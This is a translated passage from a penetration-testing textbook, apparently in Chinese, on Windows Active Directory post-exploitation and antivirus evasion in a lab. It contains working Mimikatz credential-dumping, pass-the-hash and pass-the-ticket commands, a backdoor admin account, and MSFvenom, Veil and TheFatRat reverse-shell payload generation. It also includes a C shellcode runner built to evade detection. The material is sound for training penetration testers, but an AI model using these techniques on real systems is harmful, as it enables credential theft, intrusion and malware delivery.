让我们按照这些步骤来看看它是如何运作的:
- PC 将尝试通过对其配置的 DNS 服务器进行名称解析来连接不存在的文件共享:
图 17:用户尝试访问不存在的共享
-
DNS 服务器没有与 PC 尝试访问的内容匹配的记录,因此它会告诉 PC 该记录不存在。这就是 LLMNR 和 NetBIOS-NS 查询接管的地方。
-
然后 PC 将使用 LLMNR 和 NetBIOS-NS 进行广播,这将被运行 Responder 的攻击者拦截。
-
Responder 将回答查询并欺骗 PC 相信它有该共享。然后它将继续要求 PC 使用用户的密码哈希加密挑战请求。一旦哈希挑战完成,Responder 将以错误的方式丢弃请求。
-
Responder 现在已经捕获了哈希并在控制台上显示出来:
图 18:捕获的 NTLMv2 哈希
一旦哈希被捕获,就可以使用hashcat等工具进行破解:
图 19:使用 hashcat 破解 NLTMv2 哈希
Responder 有能力创建一个恶意代理服务器,它将回答Web 代理自动发现(WPAD)请求。这是一个协议,客户端用它来下载一个定义代理设置的配置文件。通过恶意代理,Responder 能够强制进行身份验证,从而诱使用户输入他们的凭据,这些凭据可以被捕获。
尽管 Responder 本身不是后期利用工具,但了解它的工作原理可以帮助您在后期利用活动中解决困难。在执行其他后期利用活动时,让它继续运行也没有坏处,因为很可能您会收集到大量哈希值,特别是在用户在尝试访问共享时容易出现拼写错误的大型环境中。
Mimikatz
Mimikatz 是社区中众所周知的工具。它是一个开源应用程序,允许您与 NTLM 哈希或 Kerberos 票证等凭据进行交互。该工具不断得到维护,并且其攻击向量保持最新。Mimikatz 的存储库位于这里:github.com/gentilkiwi/mimikatz。
攻击者和渗透测试人员通常会使用 Mimikatz 来窃取凭据并执行特权升级等活动。随着杀毒技术的进步,这个工具经常被杀毒产品检测到。然而,互联网上有许多关于如何在使用 Mimikatz 时规避检测的文章。
Mimikatz 的一些主要特点如下:
-
Pass-the-Hash(PtH):在 Windows 中,密码数据以哈希格式(NTLM)存储。Mimikatz 允许您利用这个哈希并将其传递给目标,从而无需破解哈希。通过传递这个哈希,您可以获得对目标系统的访问权限,并拥有属于该哈希的帐户的全部权限。
-
Pass-the-Ticket:这种攻击涉及使用 Kerberos 票证对系统进行身份验证;无需知道帐户的密码。它通过捕获有效帐户的 Kerberos 票证来工作。捕获票证授予票证(TGT)可以用于从票证授予服务(TGS)请求服务票证,以访问帐户有权限访问的任何资源。
-
Overpass-the-Hash(Pass-the-Key):这种攻击结合了哈希传递和票证传递攻击。通过使用有效的 NTLM 哈希,您将能够获得有效用户的 Kerberos 票证请求。
-
Kerberos Silver Ticket:银票攻击包括创建一个忘记服务票证。这些票证可以提供对特定服务的访问权限。例如,创建一个 SQL 服务账户的银票证允许您访问特定主机上的 SQL 服务。在执行银票证账户时,不需要与域控制器进行通信。这使您可以避免被检测到。
-
Kerberos Golden Ticket:这种攻击涉及一个名为
krbtgt的帐户。该帐户用于在 AD 域中加密和签名所有 Kerberos 票证。黄金票证攻击涉及窃取krbtgt哈希;一旦窃取,您就能够创建和签署自己的 Kerberos 票证。这最终使您完全访问域内的任何内容,并且该票证不会过期。
Mimikatz 在许多后期利用工具中被利用,如 Empire、Metasploit Framework 和 Powersploit。
执行后期利用攻击
让我们在实验环境中进行一些后期利用攻击。我们将使用 Metasploitable 3 虚拟机作为入口点,因为我们知道存在漏洞。
使用windows/smb/ms17_010_eternalblue漏洞,我们将生成一个 Meterpreter 会话。一旦我们建立了会话,我们将使用getsystem命令提升到系统权限。
一旦我们有了 Meterpreter 会话,我们将使用sysinfo命令确认当前系统的信息:
图 20:确认当前系统信息
在这里,我们有一些有趣的信息:我们可以看到有三个已登录的用户。让我们继续进行凭证收集。
执行凭证收集
现在我们知道有三个用户登录,我们将尝试提取任何凭据。为此,我们将使用load kiwi命令在 Meterpreter 中加载kiwi扩展。一旦扩展加载完成,我们将使用kiwi_cmd sekurlsa::logonpasswords命令转储当前登录用户的凭据:
图 21:加载 kiwi 扩展
当我们使用kiwi_cmd sekurlsa::logonpasswords命令时,我们告诉 Meterpreter 使用我们将在其中定义命令的命令,然后我们定义我们想在 Mimikatz 中使用的命令。sekurlsa::logonpasswords命令负责从内存中的本地安全性机构子系统服务(lsass)中提取密码、密钥、PIN 码和票证。
命令运行后,将有大量输出。请注意以下截图中的输出。在这里,我们有一些有价值的信息。我们可以看到有一个名为serveradmin的用户帐户已登录。我们有用户帐户的 LM 和 NTLM 哈希,由于域仍在使用wdigest,我们有P@ssw0rd!@#$%的明文密码:
图 22:使用 Mimikatz 转储的 ServerAdmin 凭据
深入研究输出,我们还有另一个有趣的凭据,helpdeskagent。在这里,我们还有 NTLM 哈希和明文密码:
图 23:使用 Mimikatz 转储的 helpdeskagent 凭据
现在,我们有两个有趣的帐户可供使用。在进行横向移动之前,我们将使用 Meterpreter 上传两个文件,使用以下步骤:
-
使用
pwd命令查看当前工作目录。 -
您可以在此处上传文件,也可以创建新文件夹。我创建了一个名为
tools的新文件夹。 -
确保您已从我们在Mimikatz部分提到的 GitHub 存储库中下载了 Windows 版本的
mimikatz.exe。使用upload命令上传文件:
图 24:上传 mimikatz.exe
接下来要上传的文件是PSexec.exe. PSexec用于执行远程命令,并可从docs.microsoft.com/en-us/sysinternals/downloads/psexec下载。
在真实的渗透测试中,您不会简单地上传文件,特别是 Mimikatz 和PSexec,因为它们可能会被本地防病毒软件删除或记录,IT 人员可能会被警告您在机器上的存在。在这个演示案例中,Metasploitable 3 上没有安装防病毒软件或日志记录软件。
最后,我们将创建一个本地用户帐户,以便访问服务器。我们可以使用 Meterpreter 中的shell命令访问 Windows 命令提示符。一旦我们获得 shell 访问权限,我们将使用以下两个命令在内置管理员组中创建一个本地用户:
net user [username] [password] /add
net localgroup [group name] [username] /add
此命令创建一个本地用户并将用户添加到指定的组:
图 25:创建本地管理员用户
拥有此本地管理员用户帐户可以形成后门。
执行 Overpass-the-Hash
由于我们已确定 Metasploitable 3 是一个服务器,让我们尝试使用我们在其中创建的本地帐户登录,以防我们收集到哈希的用户之一已登录。为此,我们将使用内置于 Kali 中的xfreerdp工具。
我们将使用的命令语法如下:
xfreerdp /u:Pentester /p:Pentest@1! /v:192.168.10.15
在此命令中,我们定义了用户(/u)、密码(/p)和服务器 IP(/v)。输入命令后,您将拥有远程桌面会话:
图 26:建立远程桌面会话
现在我们已经登录到服务器,让我们尝试枚举当前域用户和组。请记住,我们已经收集了serveradmin和helpdeskagent的凭据。打开命令提示符并输入net user /domain命令失败,因为我们没有通过域进行身份验证:
图 27:用户枚举被拒绝
由于我们有两个域凭据的哈希值,让我们使用这个来执行 Overpass-the-Hash 攻击。我们将使用 Mimikatz 工具的serveradmin哈希。执行此操作的命令如下:
Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:serveradmin /ntlm:[ntlm hash] /domain:pentest.lab" "exit"
在这个命令中,我们告诉 Mimikatz 使用最高权限(privilege::debug),通过 Overpass-the-Hash 攻击(sekurlsa::pth)并定义用户名(/user)、NTLM 哈希(/ntlm)和域(/domain)。
一旦命令执行,我们将会有一个新的命令提示符窗口打开。这个窗口将具有serveradmin账户的权限,因此允许我们在伪装成serveradmin的同时执行用户和组枚举:
图 28:成功的 Overpass-the-Hash 攻击
现在,让我们看看我们可以用helpdeskagent账户做些什么。在用户和组枚举期间,我们确定域中有一个helpdeskagent账户和一个Helpdesk Staff组。让我们假设用户账户是这个组的成员。我们可以通过使用net user helpdeskagent /domain命令来确认这一点:
图 29:验证 helpdeskagent 的组
确实,该账户是该组的成员。
在进行下一步之前,我们将重复执行 Overpass-the-Hash 攻击,但这次使用helpdeskagent账户的 NTLM 哈希。
执行横向移动
使用 Overpass-the-Hash 攻击使用helpdeskagent账户生成的新命令窗口,我们将尝试访问 Windows 10 PC。使用dir \\192.168.10.9\c$命令进行简单的目录列表显示了该目录。这告诉我们Helpdesk Staff可能在该 PC 上拥有本地管理员权限。
我们要做的第一件事是将 Mimikatz 复制到 Windows 10 PC。这可以通过使用xcopy mimikatz.exe \\192.168.10.9\c$\tools命令来完成。根据以下截图,由于我没有创建目录,我被提示定义目标是文件还是目录:
图 30:将 mimikatz.exe 复制到新目标
使用PSexec,我们将查看转储当前登录用户凭据。这可以通过以下命令完成:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "seckurlsa::logonpasswords" "exit")
在这个命令中,我们告诉PSexec在远程系统上运行 Mimikatz 命令。-accepteula命令非常重要,因为这将阻止远程系统上的 EULA 提示出现:
图 31:使用 PSexec 远程执行 mimikatz 命令
一旦我们有了输出,我们将看到有一个高权限账户登录,即domainadmin:
图 32:在远程系统上收集凭据
在这里,我们没有明文密码,但我们仍然有 NTLM 哈希,我们可以使用。接下来我们要做的是执行一个 Pass-the-Ticket 攻击。我们将使用在本节中使用的同一个命令行窗口。
执行 Pass-the-Ticket 攻击
为了执行这个攻击,我们需要从 Windows 10 PC 导出当前的 Kerberos 票证。这可以通过以下命令完成:
psexec.exe \\192.168.10.9 -accepteula cmd /c (cd c:\tools ^& mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit")
在这个命令中,我们正在导出当前的 Kerberos 票据,以便我们可以复制它们并将其导入到我们的会话中。一旦您运行此命令,您将获得一些*.kirbi文件。由于我们只对domainadmin感兴趣,我们将把它们复制到我们的 Metasploitable 3 服务器上。可以使用普通的 Windows copy命令进行复制。
一旦你在 Metasploitable 3 服务器上有了.kirbi文件,你可以使用以下命令执行票据传递攻击:
mimikatz.exe "privilege::debug" "kerberos::ptt c:\windows\system32\tools" "exit"
在这个命令中,我们正在定义攻击(kerberos:ptt)和.kirbi文件的位置:
图 33:导入 domainadmin Kerberos 票据
注意前面截图中的输出。在执行攻击之前,我尝试访问 DC,但被拒绝了。请记住,这是我们使用helpdeskagent账户生成的同一个窗口。一旦 Mimikatz 命令执行,我们将看到domainadmin Kerberos 票据已经导入到我们的会话中。
我们可以通过运行klist命令来确认 Kerberos 票据已经导入,该命令将显示当前的 Kerberos 票据:
图 34:Kerberos 票据成功导入
注意,我们的会话现在具有domainadmin账户的 Kerberos 票据。我们现在正在冒充域管理员,因此我们将能够访问域控制器:
图 35:域控制器现在可以访问
在这一点上,我们已经完全访问了域控制器,这导致了对环境的完全妥协。
摘要
后期利用可以以许多不同的方式进行。有时,仅使用一个工具,如 Responder,就可以捕获高特权哈希。在其他情况下,您需要通过使用各种技术来真正地处理环境。在本章中,我们只关注了一些工具,但还有许多其他可用的工具。
在本章中,您确定了在进行后期利用时可以利用的各种技术。您现在可以构建一个基本的 AD 实验室,用于测试您在后期利用方面的技能。您可以使用渗透测试人员和攻击者使用的真实工具。您还获得了执行各种后期利用攻击的实际动手能力。
在下一章(第十二章*,在环境中保持控制*)中,我们将讨论持久性以及如何保持对被入侵网络的访问。
问题
-
在后期利用过程中可以利用哪些技术?
-
可以用于后期利用的工具有哪些?
-
列出一些存在于 Meterpreter 中的后期利用脚本。
-
解释一下票据传递攻击。
-
krbtgt账户有什么独特之处?
第十一章:防病毒规避
拥有防病毒软件的概念并不新鲜。这是一种常见的安全控制,用于保护用户免受恶意软件和其他类型的恶意软件的侵害。从历史上看,它一直专注于预防病毒感染。在您的渗透测试中,几乎不可能找到一个没有防病毒软件的客户。
在本章中,您将了解防病毒技术的发展以及它们变得更加复杂的方式。您将学习各种可以用于防病毒规避的技术,并了解可以帮助您利用这些技术的工具。您将学习如何对有效载荷进行编码以避免检测,并最终探索可以用于检查有效载荷检测率的在线工具。
随着本章的进行,您将学习以下主题:
-
防病毒技术的发展
-
防病毒软件规避的概念
-
开始使用防病毒规避
-
测试规避技术
技术要求
要按照本章中的示例和说明进行操作,请检查您是否具备以下技术要求:
- Kali Linux 2019.1
防病毒技术的发展
威胁形势正在迅速发展。在过去的几年里,出现了攻击向量,如自动化攻击、无文件恶意软件、固件恶意软件、高级持续性威胁(APT)恶意软件,还有,别忘了,复杂的勒索软件。攻击者拥有一系列攻击手段,可以利用人工智能和机器学习。基于这些攻击的进展,防病毒软件不得不跟上。
淘汰旧技术
传统的防病毒软件,其目的是仅仅基于签名停止病毒,并根据模式查找文件系统或应用程序的变化,已经不再足够。尽管签名和基于模式的匹配仍然在使用,但存在弱点。例如,无法更新签名,或者跟上每天发布的大量恶意软件都会带来巨大风险。启发式扫描是防病毒软件分析代码与一组变量的能力,这些变量将指示病毒是否存在。这种方法使得能够检测到一组额外的病毒,但也可以被规避,因为变量可以被修改。防病毒软件的扫描和拦截能力有其好处,但这些也可以被规避。
现在存在的恶意软件增长速度太快,使得防病毒制造商无法跟上。
引入新技术
如今的防病毒软件已经发展,具有检测和防止隐藏漏洞利用的能力,利用威胁情报,对端点(包括应用程序、进程和内存)进行全面监控,自动警报,取证能力和数据收集。
当今的防病毒软件可以被称为下一代防病毒软件,并使用以下策略:
-
查看阻止使用典型方法绕过正常进程操作的利用技术。这种方法不考虑文件类型,而是考虑进程本身。
-
可以用于学习特定恶意文件的数百个变体的机器学习技术;而在旧的防病毒软件中,这需要一些人工干预和一个沙箱环境来测试每个变体。
-
超越磁盘的检测能力。例如,无文件恶意软件等恶意软件不会在磁盘上留下任何东西。传统的防病毒软件无法检测到这一点,但下一代防病毒软件可以。
-
人工智能的作用是进一步减少人类干预,使防病毒软件能够识别模式,将其与威胁联系起来,并使用新模式更新自己的数据库。
似乎这些下一代反病毒软件使规避变得不可能,但仍然是可能的。随着其防御能力的提高,我们可以利用的进攻工具也在不断改进。
反病毒规避的概念
在渗透测试的利用阶段,您需要在目标系统上运行代码。这可以通过钓鱼邮件、利用或社会工程来完成。您将遇到的阻碍是反病毒软件(无论是传统变体还是下一代变体)。绕过反病毒软件的最有效方法是创建自己的定制有效载荷。在我们深入创建有效载荷之前,让我们考虑一些技巧:
-
侦察在反病毒规避中起着重要作用。了解您的目标拥有什么是关键。如果您觉得想要一个定制的有效载荷,可以避开所有反病毒产品,那么您是在误导自己。花费时间来实现这一点将会太长,而且随着每个供应商积极改进其产品,您的有效载荷将很快被检测到。将有效载荷缩小到目标的反病毒软件。
-
一旦您有一个可用的 shellcode,您可能会在以后的渗透测试中再次重复使用它,而且它可能仍然有效。为了确保减少您的利用的检测能力,永远不要将其提交到 VirusTotal 等服务(本章后面将介绍),或任何其他在线扫描程序。这些在线资源通常会将样本提交给反病毒供应商,供应商又会用它来增强其检测能力。
-
简单是关键。不要选择带有大量功能的华丽有效载荷。记住,您只是试图禁用反病毒软件,然后使用更强大的工具。
-
利用您可以使用的资源。例如,Metasploit 具有可用于反病毒规避的模块。在线资源如 ExploitDB 有可以下载、定制和使用的 shellcode。
牢记这些技巧将有助于您在渗透测试职业中取得进展,因为您在规划反病毒规避时有一个很好的起点。
反病毒规避技术
既然我们已经确定了需要进行反病毒规避,让我们来看看存在的各种技术。以下是可以使用的最常见的技术。
编码器
编码器允许您避免在利用中导致其发生故障的字符。通过使用 MSFvenom,您可以访问多个编码器。编码工作是通过拆分有效载荷并添加额外的代码来掩盖真实的有效载荷。在有效载荷中添加解码指令,以便在运行之前对其进行解码。MSFvenom 具有一些内置的编码器,我们将在本章后面进行讨论。
自定义编译
使用 MSFvenom 的内置编码器并不像我们希望的那样高效。Metasploit 及其组件是反病毒制造商的一个不断关注的焦点,并且他们密切关注其中的编码器所做的改进。为了绕过这一点,您可以利用自定义编译来创建一个不可检测的有效载荷。查看 C 编程语言,有一些关键组件可以利用,以向您的代码添加随机性,以试图欺骗反病毒程序不要检测它。
混淆
混淆是修改有效载荷的过程,使其对反病毒软件不清楚,但仍然可以用于其预期目的。混淆有效载荷的一种方法是使用加密。可以使用 Hyperion 等工具(我们将在后面介绍)使用高级加密标准(AES)对有效载荷进行加密。一旦运行有效载荷,解密就会发生,有效载荷就能够执行。这种加密有助于减少反病毒软件的检测率。
当然,由于杀毒软件不断变得更好,仅仅使用一种规避方法是不可能的。没有杀毒软件规避的灵丹妙药。您需要结合一些技术来帮助降低有效负载的检测率。
开始使用杀毒软件规避
在进行渗透测试时,存在着您和客户之间定义的信任级别。当您将任何有效负载投放到他们的环境中时,例如规避杀毒软件以在您的系统中创建后门,您需要确保有效负载只连接回您。代码中不应该有任何可能导致客户环境真正妥协的错误。
在您学习本节中定义的各种工具时,请确保明确定义目标将连接回的系统 IP。这样做将确保您在职业生涯的初步学习阶段强化信任的概念。
MSFvenom
MSFvenom 是 Metasploit 框架的命令行工具的一部分。它用于生成各种 shellcode,可用于提供对系统的后门。
MSFvenom 中的一些常见开关如下:
--l | 这用于显示每个类别(编码器、有效负载、格式、加密器等)中所有模块的列表。例如,使用msfvenom -l payloads将显示当前可用的有效负载集。 |
|---|---|
--p | 这定义将使用的有效负载。例如,使用msfvenom -p windows/x64/meterpreter_reverse_https命令将定义 meterpreter 反向 HTTPS 有效负载。 |
--f | 这定义了输出格式。例如,您可能想要创建一个.exe或.c文件。 |
--b | 这用于消除坏字符。杀毒软件会寻找诸如\x00之类的坏字符。 |
--e | 这用于定义将使用的编码器。例如,常用的编码器之一是/x86/shikata_ga_nai。 |
--i | 这用于定义对 shellcode 进行编码的最大次数。 |
--a | 这用于定义架构。例如,-a x64将创建一个 64 位的 shellcode。 |
--platform | 这用于定义 shellcode 将针对的平台。例如,对于 Windows 操作系统,可以使用--platform Windows。 |
MSFvenom 有更多的选项和开关;前面的表格描述了在创建有效负载时通常使用的内容。
MSFvenom 允许您将多个命令链接在一起。这是通过在每个命令的末尾使用| \序列来完成的。
要使用一系列命令创建有效负载,请按照以下步骤进行。注意每个命令末尾的| \序列。
从终端窗口,输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o MSFV-payload.exe
当您完成输入上述命令后,您应该得到以下输出:
图 1:MSFvenom 命令链
在命令的第一行中,我们正在定义要使用的meterpreter/reverse_tcp有效负载。然后我们定义我们攻击主机的 IP(LHOST)和端口(LPORT)。然后我们使用原始格式(-f),并使用shikata_ga_nai编码器(-e)进行 15 次迭代(-i 15)。
在命令的第二行中,我们通过现在定义架构(-a),平台,这种情况下是 Windows(--platform),以及使用 9 次迭代的x86/countdown编码器进一步对原始文件进行编码。
最后,我们通过再次运行shikata_ga_nai编码器并使用-f exe -o选项创建一个exe文件来编译这个。
一旦命令执行,它将创建一个名为MSFV-payload.exe的后门文件,存储在/root/Downloads/文件夹中。
我们将在本章后面的测试规避技术部分测试此文件的检测率。
Veil Evasion
Veil Evasion 工具套件可用于创建规避常见杀毒软件并生成反向 shell 的 shellcode。
安装 Veil 工具套件可以按以下步骤完成:
-
在 Kali Linux 中打开一个终端窗口。
-
使用
apt install -y veil命令。这将下载 Veil 工具套件,所有依赖项,并为安装做好准备。-y命令用于在询问是否要安装软件时简单地预定义yes参数。 -
一切都下载完成后,可以通过运行
veil命令(参见以下屏幕截图)来开始安装。使用s选项进行静默安装。这仍会显示正在安装的组件,但您无需进行任何交互:
图 2:安装 Veil 组件
Veil 安装完成后,您可以在终端窗口中使用veil命令运行该工具。首次启动时,将显示主窗口(参见以下屏幕截图),其中将显示已加载的两个工具。使用特定工具使用use [number]命令;例如,要使用Evasion,您将使用use 1命令:
图 3:Veil 初始菜单
我们可以使用的工具是Evasion和Ordnance。这两个工具执行不同的功能,如下所示:
-
Evasion:用于生成可用于绕过防病毒软件的有效载荷。 -
Ordnance:用于生成可与Evasion一起使用的 shellcode。Ordnance消除了使用 MSFvenom 生成 shellcode 的需要。原因是随着 MSFvenom 的更新,它会破坏Evasion创建的有效载荷。
让我们使用 Veil 创建一个恶意有效载荷:
-
使用
veil命令启动Veil。 -
Veil 启动后,我们将使用
Evasion工具。输入use 1:
图 4:选择 Evasion 工具
-
要查看有效载荷的完整列表,请输入
list payloads命令。在撰写本文时,Veil Evasion 中有 41 个有效载荷可用。我们将使用python/shellcode_inject/aes_encrypt.py创建有效载荷。要选择此有效载荷,我们将使用与之关联的数字。 -
要使用有效载荷,我们将发出
use 29命令:
图 5:选择有效载荷
-
在有效载荷中,我们有许多可以配置的选项。如果要配置这些选项,可以使用
set [option name] [value]命令。例如,要配置CLICKTRACK选项,将使用set CLICKTRACK 1命令。我们现在不会配置任何选项,因此我们将输入generate以进行下一步。 -
现在我们有与 shellcode 相关的选项(参见以下屏幕截图)。在这里,您将注意到我们可以利用
MSFVenom、Ordnance、Custom shellcode strings等。我们将使用Ordnance来创建 shellcode。输入选项号1:
图 6:shellcode 选择
- 当您输入选项
1时,将进入Veil-Ordnance菜单(参见以下屏幕截图)。在这里,您有一些选项,如查看payloads和encoders。要查看有效载荷,输入list payloads命令:
图 7:Ordnance 有效载荷
-
我们将使用
rev_https有效载荷,使用use 3命令选择它。现在我们将为有效载荷选择选项。 -
我们需要在这里定义一些选项。定义
LHOST和LPORT变量。记住这是目标机器将连接回来的 IP 地址和端口。我还定义了使用内置xor命令的Encoder。您可以使用set命令定义这些设置。您的输出应该与以下类似,除了LHOSTIP 地址:
图 8:定义有效载荷选项
- 输入
generate来生成 shellcode。现在您将看到 shellcode 的输出,并且 Veil 会要求您输入一个文件名(见下图).给它一个名字并按Enter:
图 9:生成的 shellcode
-
提供了输出文件的基本名称后,您可以选择一个选项来创建有效负载可执行文件。在这个演示中,我们将使用默认的
PyInstaller。 -
一旦过程完成,您将看到恶意可执行文件和源代码的位置显示*:*:
图 10:创建的恶意可执行文件
通过在目标机器上运行这个可执行文件,它将创建一个反向 shell 到您作为攻击者使用的机器。当然,我们仍然需要确定这个可执行文件是否会被任何防病毒软件检测到。我们将在本章的测试规避技术部分进行测试。
TheFatRat
TheFatRat 是另一个可以用来生成不可检测有效负载的工具。它支持 Windows、Android 和 macOS 的有效负载。它有丰富的选项,比如以下:
-
自动化 Metasploit 功能(创建后门、防病毒规避、启动 meterpreter 监听等)
-
基于 Android APK 创建后门
-
文件泵(用于增加文件大小)
-
使用办公文件创建后门
TheFatRat 不是 Kali Linux 的默认组件。可以通过以下步骤安装:
- 在 Kali Linux 中打开一个终端窗口,并使用以下命令克隆
TheFatRat的存储库:
git clone https://github.com/Screetsec/TheFatRat.git
- 克隆存储库后,使用以下命令导航到目录:
cd TheFatRat
- 更改文件权限并使用以下命令运行设置脚本:
chmod +x setup.sh && ./setup.sh.
在这个命令中,我们正在改变setup.sh文件的权限,以便我们可以运行它。
- 在安装过程中,将安装所有依赖项。
安装完成后,您可以使用fatrat命令运行 TheFatRat。
在启动过程中,TheFatRat 会提醒不要将生成的有效负载上传到 VirusTotal。我们将在本章的测试规避技术部分讨论这个问题。
让我们使用TheFatRat创建一个有效负载:
-
从终端窗口,使用
fatrat命令启动TheFatRat。 -
菜单加载后,您会注意到有一些可以使用的选项:
图 11:TheFatRat 主菜单
- 选择选项
2以使用Fudwin创建Fud。
Fud是Fully Undetectable Payload的缩写。
- 一旦
Fudwin模块加载,我们有两个选项。我们将选择选项2-慢但强大。这个工具编译了一个带有 meterpreter 反向 TCP 有效负载的 C 程序:
图 12:使用 Fudwin 模块进行工具选择
-
选择选项
2后,您需要定义LHOST和LPORT选项。接下来,您需要选择目标操作系统的架构。可以是x86或x64。 -
一旦选项被定义,工具将处理剩下的事情。它将把恶意有效负载编译成一个可执行文件,并存储在
TheFatRat根文件夹中的output目录中。
一旦在远程系统上运行该文件,它将创建一个反向tcp后门到攻击机器。在测试规避技术部分,我们将比较这个有效负载的检测率和我们创建的其他有效负载。
自定义编译
自定义编译可以帮助大大减少检测能力。您可以利用互联网上可用的自定义 shellcode,并根据需要进行调整,以执行您想要的功能。
在本节中,我们将以基本水平介绍自定义 shellcode 的创建。Shellcode 的创建可能变得复杂,随着您在渗透测试职业中的进步,您将建立起编写复杂 shellcode 的技能。我们将使用 C 编程语言来介绍 shellcode 的创建。
诸如 Exploit-DB 之类的网站托管了社区发布的许多 shellcode。可以通过以下 URL 访问:www.exploit-db.com/shellcodes。
让我们使用 C 创建一个自定义 shellcode。
首先,我们将使用 MSFvenom 创建一个 shellcode 文件。让我们使用之前创建的相同 shellcode,但是这次我们将其输出到一个.C文件中:
-
从终端窗口,使用
mkdir msfv-shellcode命令创建一个新目录。 -
使用
cd msfv-shellcode命令导航到目录。 -
现在,使用以下命令创建有效载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.34.153 LPORT=8080 -f raw -e x86/shikata_ga_nai -i 15 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 9 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f c -o MSFV-shellcode.c
执行了上述命令后,MSFvenom 将创建 shellcode 文件。
现在,我们需要添加一些变量,以便使用 C 编程语言进行编译。使用文本编辑器或 nano 编辑刚刚创建的MSFV-shellcode.c文件。
添加以下行,用**标记:
#include<stdio.h>
#include<string.h>
unsigned char buf[] =
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"
"\xb9\x1b\x01\x83\xef\xfc\x31\x6f\x12\x03\x6f\x12\x43\x17\x5c"
"\x54\x5a\x66\x22\xb1\x95\x4e\x51\x62\xd1\x2e\xa9\xa3\x7f\x68"
"\xd9\x32\xfc\x65\x1e\x05\x55\x6b\xdc\x31\x97\xb0\xa9\x85\xdb"
--snip--
int main ()
{
printf("Shellcode Length: %d\n", strlen(buf));
int (*ret)() = (int(*)())buf;
ret();
}
在上述代码中,我剪切了 shellcode,以便可见所需的代码行。在您的 shellcode 文件中,unsigned char buf [] =行下面将有更多字符。
在上述代码中,我们添加了以下组件:
#include<stdio.h> | 在这里,我们调用一个库,该库涉及输入和输出函数。 |
|---|---|
#include<string.h> | 在这里,我们调用一个库来操作字符串,因为我们使用strlen函数来获取字符串长度。 |
int main | 此字符串用于声明一个函数。在 C 编程语言中,main下的函数是程序加载时运行的函数。 |
printf("Shellcode Length: %d\n | 此行用于发送打印输出并掩盖 shellcode 长度。 |
| int (*ret)() = (int(*)())buf;
ret () | int (*ret)()用于声明一个指针,而=(int(*)())buf;是将要使用的指针。ret()调用该指针,然后指向运行的 shellcode。 |
添加了额外的代码后,我们现在可以将其编译为可执行文件(请参见以下屏幕截图)。这是使用mingw32编译器完成的,该编译器在安装 Veil Framework 时已安装。如果未安装,可以使用以下命令进行安装:
apt install mingw-w64
要将 shellcode 编译为可执行文件,请使用以下命令:
x86_64-w64-mingw32-gcc MSFV-shellcode.c -o MSFV-shellcode.exe
我们得到以下输出:
图 13:将 shellcode 编译为可执行文件
现在,您有一个可执行文件,可以创建反向 shell。通过自定义编译过程,可以大大降低防病毒软件的检测率。通过添加额外的随机字符,可以进一步模糊检测率。
测试逃避技术
测试您的有效载荷有两种方法。一种方法是在实验室环境中使用目标系统的副本进行测试;然而,这并不总是可能的,因为您的客户使用的防病毒程序可能有许可要求。
您的另一个选择是将有效载荷的样本提交到 VirusTotal 等在线服务。
VirusTotal
VirusTotal 被许多安全行业人员用来提交文件或 URL 进行恶意软件分析。VirusTotal 通过与 70 多个防病毒供应商交叉检查提交的文件来工作。VirusTotal 有一个限制,就是提交将与防病毒供应商共享,以帮助提高其检测能力。
当您构建自己的载荷时,您不希望与防病毒软件制造商共享。如果共享了,您的载荷的工作机会将大大减少,因为一旦防病毒软件制造商使用提交信号更新其检测能力,检测率将会增加。
VirusTotal 可以通过以下 URL 访问:www.virustotal.com/。
让我们看看我们在上一节中创建的载荷,以及它们的检测率。
MSFvenom的检测率为 71 中的 50,尽管我们使用了两个编码器和多次迭代:
图 14:MSFvenom 生成的 shellcode 检测率
测试使用相同 MSFvenom 载荷创建的自定义 shellcode 产生了明显较低的检测率,为 70 中的 8:
图 15:自定义 shell 代码检测率。
Veil的检测率为 70 中的 35。这比使用 MSFvenom 生成的要低得多:
图 16:Veil 生成的 shell 代码检测率
TheFatRat 的检测率为 70 中的 6。这远低于 MSFvenom 和 Veil。请注意文件名为Powerfull-fud.exe;TheFatRat 可能已生成一个普通的Powerfull.exe文件,也可以使用。那个的检测率为 70 中的 8:
图 17:TheFatRat 生成的 shellcode 检测率
我们可以看到不同的技术产生不同的结果。随着防病毒软件的发展,制作一个完全不可检测的载荷变得更加困难。然而,知道如何使用现有的工具将帮助您构建一个适合您的目标并且无法被其防病毒软件检测到的载荷。
总结
在本章中,您已经了解了防病毒软件的发展,以及它们如何开始利用机器学习和人工智能。您已经了解了可以用于规避防病毒软件的各种技术,以及可以用于创建不可检测载荷的不同工具。我们已经使用 shellcode 创建了一些载荷,并查看了它们在 VirusTotal 等在线服务中的检测率。
在下一章(第十二章,在环境中保持控制)中,我们将讨论持久性以及如何在受损网络中保持访问。
问题
-
防病毒软件是如何发展的?
-
列举两种防病毒软件规避技术。
-
可以利用哪些工具来构建不可检测的载荷?
-
使用自定义编译的 shellcode 有什么好处?
-
一旦构建了您的载荷,您绝对不应该做什么?